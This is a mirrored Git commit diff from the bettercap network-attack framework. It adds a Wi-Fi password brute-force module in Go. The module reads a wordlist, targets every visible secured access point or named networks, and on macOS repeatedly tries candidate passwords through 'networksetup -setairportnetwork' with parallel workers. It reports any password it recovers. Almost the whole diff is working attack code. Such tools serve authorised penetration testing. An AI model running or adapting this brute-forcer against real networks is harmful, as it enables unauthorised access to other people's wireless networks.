mirror of
https://github.com/bettercap/bettercap
synced 2025-08-19 04:59:25 -07:00
new: implemented wifi.bruteforce for darwin (ref #1075)
This commit is contained in:
parent
b0d56e4f5e
commit
08da91ed5c
7 changed files with 382 additions and 7 deletions
|
@ -132,6 +132,16 @@ func (mod *EventsStream) viewWiFiDeauthEvent(output io.Writer, e session.Event)
|
||||||
deauth.RSSI)
|
deauth.RSSI)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (mod *EventsStream) viewWiFiBruteforceEvent(output io.Writer, e session.Event) {
|
||||||
|
success := e.Data.(wifi.BruteforceSuccess)
|
||||||
|
fmt.Fprintf(output, "[%s] [%s] target='%s' password='%s' auth_in=%v\n",
|
||||||
|
e.Time.Format(mod.timeFormat),
|
||||||
|
tui.Green(tui.Bold(e.Tag)),
|
||||||
|
tui.Bold(success.Target),
|
||||||
|
tui.Bold(success.Password),
|
||||||
|
success.Elapsed)
|
||||||
|
}
|
||||||
|
|
||||||
func (mod *EventsStream) viewWiFiEvent(output io.Writer, e session.Event) {
|
func (mod *EventsStream) viewWiFiEvent(output io.Writer, e session.Event) {
|
||||||
if strings.HasPrefix(e.Tag, "wifi.ap.") {
|
if strings.HasPrefix(e.Tag, "wifi.ap.") {
|
||||||
mod.viewWiFiApEvent(output, e)
|
mod.viewWiFiApEvent(output, e)
|
||||||
|
@ -143,6 +153,8 @@ func (mod *EventsStream) viewWiFiEvent(output io.Writer, e session.Event) {
|
||||||
mod.viewWiFiHandshakeEvent(output, e)
|
mod.viewWiFiHandshakeEvent(output, e)
|
||||||
} else if e.Tag == "wifi.client.new" || e.Tag == "wifi.client.lost" {
|
} else if e.Tag == "wifi.client.new" || e.Tag == "wifi.client.lost" {
|
||||||
mod.viewWiFiClientEvent(output, e)
|
mod.viewWiFiClientEvent(output, e)
|
||||||
|
} else if e.Tag == "wifi.bruteforce.success" {
|
||||||
|
mod.viewWiFiBruteforceEvent(output, e)
|
||||||
} else {
|
} else {
|
||||||
fmt.Fprintf(output, "[%s] [%s] %#v\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), e)
|
fmt.Fprintf(output, "[%s] [%s] %#v\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), e)
|
||||||
}
|
}
|
||||||
|
|
|
@ -29,6 +29,7 @@ type WiFiModule struct {
|
||||||
session.SessionModule
|
session.SessionModule
|
||||||
|
|
||||||
iface *network.Endpoint
|
iface *network.Endpoint
|
||||||
|
bruteforce *bruteforceConfig
|
||||||
handle *pcap.Handle
|
handle *pcap.Handle
|
||||||
source string
|
source string
|
||||||
region string
|
region string
|
||||||
|
@ -73,6 +74,7 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
|
||||||
mod := &WiFiModule{
|
mod := &WiFiModule{
|
||||||
SessionModule: session.NewSessionModule("wifi", s),
|
SessionModule: session.NewSessionModule("wifi", s),
|
||||||
iface: s.Interface,
|
iface: s.Interface,
|
||||||
|
bruteforce: NewBruteForceConfig(),
|
||||||
minRSSI: -200,
|
minRSSI: -200,
|
||||||
apTTL: 300,
|
apTTL: 300,
|
||||||
staTTL: 300,
|
staTTL: 300,
|
||||||
|
@ -119,6 +121,44 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
|
||||||
return mod.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
|
mod.AddParam(session.NewStringParameter("wifi.bruteforce.target",
|
||||||
|
mod.bruteforce.target,
|
||||||
|
"",
|
||||||
|
"One or more comma separated targets to bruteforce as ESSID or BSSID. Leave empty to bruteforce all visibile access points."))
|
||||||
|
|
||||||
|
mod.AddParam(session.NewStringParameter("wifi.bruteforce.wordlist",
|
||||||
|
mod.bruteforce.wordlist,
|
||||||
|
"",
|
||||||
|
"Wordlist file to use for bruteforcing."))
|
||||||
|
|
||||||
|
mod.AddParam(session.NewIntParameter("wifi.bruteforce.workers",
|
||||||
|
fmt.Sprintf("%d", mod.bruteforce.workers),
|
||||||
|
"How many parallel workers. WARNING: Some routers will ban multiple concurrent attempts."))
|
||||||
|
|
||||||
|
mod.AddParam(session.NewBoolParameter("wifi.bruteforce.wide",
|
||||||
|
fmt.Sprintf("%v", mod.bruteforce.wide),
|
||||||
|
"Attempt a password for each access point before moving to the next one."))
|
||||||
|
|
||||||
|
mod.AddParam(session.NewBoolParameter("wifi.bruteforce.stop_at_first",
|
||||||
|
fmt.Sprintf("%v", mod.bruteforce.stop_at_first),
|
||||||
|
"Stop bruteforcing after the first successful attempt."))
|
||||||
|
|
||||||
|
mod.AddParam(session.NewIntParameter("wifi.bruteforce.timeout",
|
||||||
|
fmt.Sprintf("%d", mod.bruteforce.timeout),
|
||||||
|
"Timeout in seconds for each association attempt."))
|
||||||
|
|
||||||
|
mod.AddHandler(session.NewModuleHandler("wifi.bruteforce on", "",
|
||||||
|
"Attempts to bruteforce WiFi authentication.",
|
||||||
|
func(args []string) error {
|
||||||
|
return mod.startBruteforce()
|
||||||
|
}))
|
||||||
|
|
||||||
|
mod.AddHandler(session.NewModuleHandler("wifi.bruteforce off", "",
|
||||||
|
"Stop previously started bruteforcing.",
|
||||||
|
func(args []string) error {
|
||||||
|
return mod.stopBruteforce()
|
||||||
|
}))
|
||||||
|
|
||||||
mod.AddHandler(session.NewModuleHandler("wifi.clear", "",
|
mod.AddHandler(session.NewModuleHandler("wifi.clear", "",
|
||||||
"Clear all access points collected by the WiFi discovery module.",
|
"Clear all access points collected by the WiFi discovery module.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
|
@ -137,7 +177,7 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
|
||||||
mod.stickChan = ap.Channel
|
mod.stickChan = ap.Channel
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
return fmt.Errorf("Could not find station with BSSID %s", args[0])
|
return fmt.Errorf("could not find station with BSSID %s", args[0])
|
||||||
}))
|
}))
|
||||||
|
|
||||||
mod.AddHandler(session.NewModuleHandler("wifi.recon clear", "",
|
mod.AddHandler(session.NewModuleHandler("wifi.recon clear", "",
|
||||||
|
@ -420,7 +460,7 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
|
||||||
return err
|
return err
|
||||||
} else {
|
} else {
|
||||||
if f := network.Dot11Chan2Freq(ch); f == 0 {
|
if f := network.Dot11Chan2Freq(ch); f == 0 {
|
||||||
return fmt.Errorf("%d is not a valid wifi channel.", ch)
|
return fmt.Errorf("%d is not a valid wifi channel", ch)
|
||||||
} else {
|
} else {
|
||||||
freqs = append(freqs, f)
|
freqs = append(freqs, f)
|
||||||
}
|
}
|
||||||
|
|
266
modules/wifi/wifi_bruteforce.go
Normal file
266
modules/wifi/wifi_bruteforce.go
Normal file
|
@ -0,0 +1,266 @@
|
||||||
|
package wifi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"sync/atomic"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/bettercap/bettercap/v2/network"
|
||||||
|
"github.com/evilsocket/islazy/async"
|
||||||
|
"github.com/evilsocket/islazy/ops"
|
||||||
|
"github.com/evilsocket/islazy/str"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
errRecon = errors.New("turn off wifi.recon first")
|
||||||
|
errAlreadyRunning = errors.New("bruteforce already running")
|
||||||
|
errNotRunning = errors.New("bruteforce not running")
|
||||||
|
)
|
||||||
|
|
||||||
|
type bruteforceJob struct {
|
||||||
|
running *atomic.Bool
|
||||||
|
done *atomic.Uint64
|
||||||
|
iface string
|
||||||
|
essid string
|
||||||
|
password string
|
||||||
|
timeout time.Duration
|
||||||
|
}
|
||||||
|
|
||||||
|
type BruteforceSuccess struct {
|
||||||
|
Iface string
|
||||||
|
Target string
|
||||||
|
Password string
|
||||||
|
Elapsed time.Duration
|
||||||
|
}
|
||||||
|
|
||||||
|
type bruteforceConfig struct {
|
||||||
|
running atomic.Bool
|
||||||
|
queue *async.WorkQueue
|
||||||
|
done atomic.Uint64
|
||||||
|
todo uint64
|
||||||
|
target string
|
||||||
|
wordlist string
|
||||||
|
workers int
|
||||||
|
timeout int
|
||||||
|
wide bool
|
||||||
|
stop_at_first bool
|
||||||
|
|
||||||
|
passwords []string
|
||||||
|
targets []string
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewBruteForceConfig() *bruteforceConfig {
|
||||||
|
return &bruteforceConfig{
|
||||||
|
wordlist: "/usr/share/dict/words",
|
||||||
|
passwords: make([]string, 0),
|
||||||
|
targets: make([]string, 0),
|
||||||
|
workers: 1,
|
||||||
|
wide: false,
|
||||||
|
stop_at_first: true,
|
||||||
|
timeout: 10,
|
||||||
|
queue: nil,
|
||||||
|
done: atomic.Uint64{},
|
||||||
|
todo: 0,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (bruteforce *bruteforceConfig) setup(mod *WiFiModule) (err error) {
|
||||||
|
if bruteforce.running.Load() {
|
||||||
|
return errAlreadyRunning
|
||||||
|
} else if err, bruteforce.target = mod.StringParam("wifi.bruteforce.target"); err != nil {
|
||||||
|
return err
|
||||||
|
} else if err, bruteforce.wordlist = mod.StringParam("wifi.bruteforce.wordlist"); err != nil {
|
||||||
|
return err
|
||||||
|
} else if err, bruteforce.workers = mod.IntParam("wifi.bruteforce.workers"); err != nil {
|
||||||
|
return err
|
||||||
|
} else if err, bruteforce.timeout = mod.IntParam("wifi.bruteforce.timeout"); err != nil {
|
||||||
|
return err
|
||||||
|
} else if err, bruteforce.wide = mod.BoolParam("wifi.bruteforce.wide"); err != nil {
|
||||||
|
return err
|
||||||
|
} else if err, bruteforce.stop_at_first = mod.BoolParam("wifi.bruteforce.stop_at_first"); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// load targets
|
||||||
|
bruteforce.targets = make([]string, 0)
|
||||||
|
|
||||||
|
if bruteforce.target == "" {
|
||||||
|
// all visible APs
|
||||||
|
for _, ap := range mod.Session.WiFi.List() {
|
||||||
|
if !ap.IsOpen() {
|
||||||
|
target := ap.ESSID()
|
||||||
|
if target == "<hidden>" || target == "" {
|
||||||
|
target = ap.BSSID()
|
||||||
|
}
|
||||||
|
bruteforce.targets = append(bruteforce.targets, target)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
bruteforce.targets = str.Comma(bruteforce.target)
|
||||||
|
}
|
||||||
|
|
||||||
|
nTargets := len(bruteforce.targets)
|
||||||
|
if nTargets == 0 {
|
||||||
|
return fmt.Errorf("no target selected with wifi.bruteforce.target='%s'", bruteforce.target)
|
||||||
|
}
|
||||||
|
|
||||||
|
mod.Info("selected %d target%s to bruteforce", nTargets, ops.Ternary(nTargets > 1, "s", ""))
|
||||||
|
|
||||||
|
// load wordlist
|
||||||
|
bruteforce.passwords = make([]string, 0)
|
||||||
|
fp, err := os.Open(bruteforce.wordlist)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer fp.Close()
|
||||||
|
|
||||||
|
scanner := bufio.NewScanner(fp)
|
||||||
|
scanner.Split(bufio.ScanLines)
|
||||||
|
for scanner.Scan() {
|
||||||
|
line := str.Trim(scanner.Text())
|
||||||
|
if line != "" {
|
||||||
|
bruteforce.passwords = append(bruteforce.passwords, line)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
mod.Info("loaded %d passwords from %s", len(bruteforce.passwords), bruteforce.wordlist)
|
||||||
|
|
||||||
|
mod.Info("starting %d workers ...", mod.bruteforce.workers)
|
||||||
|
|
||||||
|
bruteforce.queue = async.NewQueue(mod.bruteforce.workers, mod.bruteforceWorker)
|
||||||
|
|
||||||
|
bruteforce.running.Store(true)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod *WiFiModule) bruteforceWorker(arg async.Job) {
|
||||||
|
job := arg.(bruteforceJob)
|
||||||
|
defer job.done.Add(1)
|
||||||
|
|
||||||
|
mod.Debug("got job %+v", job)
|
||||||
|
|
||||||
|
if job.running.Load() {
|
||||||
|
start := time.Now()
|
||||||
|
|
||||||
|
if authenticated, err := wifiBruteforce(mod, job); err != nil {
|
||||||
|
mod.Error("%v", err)
|
||||||
|
// stop on error
|
||||||
|
job.running.Store(false)
|
||||||
|
} else if authenticated {
|
||||||
|
// send event
|
||||||
|
mod.Session.Events.Add("wifi.bruteforce.success", BruteforceSuccess{
|
||||||
|
Elapsed: time.Since(start),
|
||||||
|
Iface: job.iface,
|
||||||
|
Target: job.essid,
|
||||||
|
Password: job.password,
|
||||||
|
})
|
||||||
|
if mod.bruteforce.stop_at_first {
|
||||||
|
// stop if stop_at_first==true
|
||||||
|
job.running.Store(false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod *WiFiModule) showBruteforceProgress() {
|
||||||
|
progress := 100.0 * (float64(mod.bruteforce.done.Load()) / float64(mod.bruteforce.todo))
|
||||||
|
mod.State.Store("bruteforce.progress", progress)
|
||||||
|
|
||||||
|
if mod.bruteforce.running.Load() {
|
||||||
|
mod.Info("[%.2f%%] performed %d of %d bruteforcing attempts",
|
||||||
|
progress,
|
||||||
|
mod.bruteforce.done.Load(),
|
||||||
|
mod.bruteforce.todo)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod *WiFiModule) startBruteforce() (err error) {
|
||||||
|
var ifName string
|
||||||
|
|
||||||
|
if mod.Running() {
|
||||||
|
return errRecon
|
||||||
|
} else if err = mod.bruteforce.setup(mod); err != nil {
|
||||||
|
return err
|
||||||
|
} else if err, ifName = mod.StringParam("wifi.interface"); err != nil {
|
||||||
|
return err
|
||||||
|
} else if ifName == "" {
|
||||||
|
mod.iface = mod.Session.Interface
|
||||||
|
ifName = mod.iface.Name()
|
||||||
|
} else if mod.iface, err = network.FindInterface(ifName); err != nil {
|
||||||
|
return fmt.Errorf("could not find interface %s: %v", ifName, err)
|
||||||
|
} else if mod.iface == nil {
|
||||||
|
return fmt.Errorf("could not find interface %s", ifName)
|
||||||
|
}
|
||||||
|
|
||||||
|
mod.Info("using interface %s (%s)", ifName, mod.iface.HwAddress)
|
||||||
|
|
||||||
|
mod.bruteforce.todo = uint64(len(mod.bruteforce.passwords) * len(mod.bruteforce.targets))
|
||||||
|
mod.bruteforce.done.Store(0)
|
||||||
|
|
||||||
|
mod.Info("bruteforce running ...")
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
go func() {
|
||||||
|
if mod.bruteforce.wide {
|
||||||
|
for _, password := range mod.bruteforce.passwords {
|
||||||
|
for _, essid := range mod.bruteforce.targets {
|
||||||
|
if mod.bruteforce.running.Load() {
|
||||||
|
mod.bruteforce.queue.Add(async.Job(bruteforceJob{
|
||||||
|
running: &mod.bruteforce.running,
|
||||||
|
done: &mod.bruteforce.done,
|
||||||
|
iface: mod.iface.Name(),
|
||||||
|
essid: essid,
|
||||||
|
password: password,
|
||||||
|
timeout: time.Second * time.Duration(mod.bruteforce.timeout),
|
||||||
|
}))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
for _, essid := range mod.bruteforce.targets {
|
||||||
|
for _, password := range mod.bruteforce.passwords {
|
||||||
|
if mod.bruteforce.running.Load() {
|
||||||
|
mod.bruteforce.queue.Add(async.Job(bruteforceJob{
|
||||||
|
running: &mod.bruteforce.running,
|
||||||
|
done: &mod.bruteforce.done,
|
||||||
|
iface: mod.iface.Name(),
|
||||||
|
essid: essid,
|
||||||
|
password: password,
|
||||||
|
timeout: time.Second * time.Duration(mod.bruteforce.timeout),
|
||||||
|
}))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
for mod.bruteforce.running.Load() && mod.bruteforce.done.Load() < mod.bruteforce.todo {
|
||||||
|
time.Sleep(time.Second * time.Duration(mod.bruteforce.timeout))
|
||||||
|
mod.showBruteforceProgress()
|
||||||
|
}
|
||||||
|
|
||||||
|
if mod.bruteforce.done.Load() == mod.bruteforce.todo {
|
||||||
|
mod.Info("bruteforcing completed")
|
||||||
|
} else {
|
||||||
|
mod.Info("bruteforcing stopped")
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod *WiFiModule) stopBruteforce() error {
|
||||||
|
if !mod.bruteforce.running.Load() {
|
||||||
|
return errNotRunning
|
||||||
|
}
|
||||||
|
|
||||||
|
mod.Info("stopping bruteforcing ...")
|
||||||
|
|
||||||
|
mod.bruteforce.running.Store(false)
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
44
modules/wifi/wifi_bruteforce_darwin.go
Normal file
44
modules/wifi/wifi_bruteforce_darwin.go
Normal file
|
@ -0,0 +1,44 @@
|
||||||
|
package wifi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"os/exec"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/bettercap/bettercap/v2/core"
|
||||||
|
"github.com/evilsocket/islazy/async"
|
||||||
|
)
|
||||||
|
|
||||||
|
// networksetup -setairportnetwork interface 'network name' 'password'
|
||||||
|
func wifiBruteforce(mod *WiFiModule, job bruteforceJob) (bool, error) {
|
||||||
|
networksetup, err := exec.LookPath("networksetup")
|
||||||
|
if err != nil {
|
||||||
|
return false, errors.New("could not find networksetup in $PATH")
|
||||||
|
}
|
||||||
|
|
||||||
|
args := []string{
|
||||||
|
"-setairportnetwork",
|
||||||
|
job.iface,
|
||||||
|
job.essid,
|
||||||
|
job.password,
|
||||||
|
}
|
||||||
|
|
||||||
|
type result struct {
|
||||||
|
auth bool
|
||||||
|
err error
|
||||||
|
}
|
||||||
|
|
||||||
|
if res, err := async.WithTimeout(job.timeout, func() interface{} {
|
||||||
|
start := time.Now()
|
||||||
|
if output, err := core.Exec(networksetup, args); err != nil {
|
||||||
|
return result{auth: false, err: err}
|
||||||
|
} else {
|
||||||
|
mod.Debug("%s %v : %v\n%v", networksetup, args, time.Since(start), output)
|
||||||
|
return result{auth: output == "", err: nil}
|
||||||
|
}
|
||||||
|
}); err == nil && res != nil {
|
||||||
|
return res.(result).auth, res.(result).err
|
||||||
|
}
|
||||||
|
|
||||||
|
return false, nil
|
||||||
|
}
|
7
modules/wifi/wifi_bruteforce_linux.go
Normal file
7
modules/wifi/wifi_bruteforce_linux.go
Normal file
|
@ -0,0 +1,7 @@
|
||||||
|
package wifi
|
||||||
|
|
||||||
|
import "errors"
|
||||||
|
|
||||||
|
func wifiBruteforce(mod *WiFiModule, job bruteforceJob) (bool, error) {
|
||||||
|
return false, errors.New("TODO")
|
||||||
|
}
|
10
modules/wifi/wifi_bruteforce_unsupported.go
Normal file
10
modules/wifi/wifi_bruteforce_unsupported.go
Normal file
|
@ -0,0 +1,10 @@
|
||||||
|
//go:build windows || freebsd || netbsd || openbsd
|
||||||
|
// +build windows freebsd netbsd openbsd
|
||||||
|
|
||||||
|
package wifi
|
||||||
|
|
||||||
|
import "errors"
|
||||||
|
|
||||||
|
func wifiBruteforce(_ *WiFiModule, _ bruteforceJob) (bool, error) {
|
||||||
|
return false, errors.New("not supported on this OS")
|
||||||
|
}
|
|
@ -181,7 +181,7 @@ func (mod *WiFiModule) doSelection() (err error, stations []*network.Station) {
|
||||||
if ap, found := mod.Session.WiFi.Get(mod.ap.HwAddress); found {
|
if ap, found := mod.Session.WiFi.Get(mod.ap.HwAddress); found {
|
||||||
stations = ap.Clients()
|
stations = ap.Clients()
|
||||||
} else {
|
} else {
|
||||||
err = fmt.Errorf("Could not find station %s", mod.ap.HwAddress)
|
err = fmt.Errorf("could not find station %s", mod.ap.HwAddress)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
|
@ -315,10 +315,6 @@ func (mod *WiFiModule) showStatusBar() {
|
||||||
}
|
}
|
||||||
|
|
||||||
func (mod *WiFiModule) Show() (err error) {
|
func (mod *WiFiModule) Show() (err error) {
|
||||||
if mod.Running() == false {
|
|
||||||
return session.ErrAlreadyStopped(mod.Name())
|
|
||||||
}
|
|
||||||
|
|
||||||
var stations []*network.Station
|
var stations []*network.Station
|
||||||
if err, stations = mod.doSelection(); err != nil {
|
if err, stations = mod.doSelection(); err != nil {
|
||||||
return
|
return
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue